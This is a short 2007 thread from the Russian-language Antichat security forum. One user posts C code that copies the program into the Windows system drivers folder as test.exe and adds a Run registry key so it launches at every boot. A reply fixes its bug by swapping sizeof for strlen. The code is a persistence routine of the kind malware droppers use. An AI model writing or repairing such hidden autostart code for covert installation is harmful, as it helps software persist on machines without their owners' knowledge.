Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Глюк при записи значения в реестр |

02.05.2007, 17:39
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Глюк при записи значения в реестр
Вот такой вот код
Код:
char sysd[400];char sys[]="\\drivers\\test.exe"
main(int argc, char *argv[])
{
GetSystemDirectory(sysd,400);
strcat(sysd,sys);
for (i = 0; i < argc; i++)
{
CopyFile(argv[i],sysd,FALSE);
}
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&k);
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));
}
Дает вот такой вот глюк с 3 точками
http://img139.imageshack.us/my.php?image=61919864ta7.jpg Естественно что программа не загружается.
Подскажите кто знает что я не так сделал.
Последний раз редактировалось _nic; 02.05.2007 в 17:41..
|
|
|

02.05.2007, 18:10
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));
sizeof(sysd) ---> strlen(sysd)
|
|
|

02.05.2007, 19:48
|
|
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме: 2982851
Репутация:
107
|
|
Сообщение от sn0w
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));
sizeof(sysd) ---> strlen(sysd)
Спасибо помогло
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|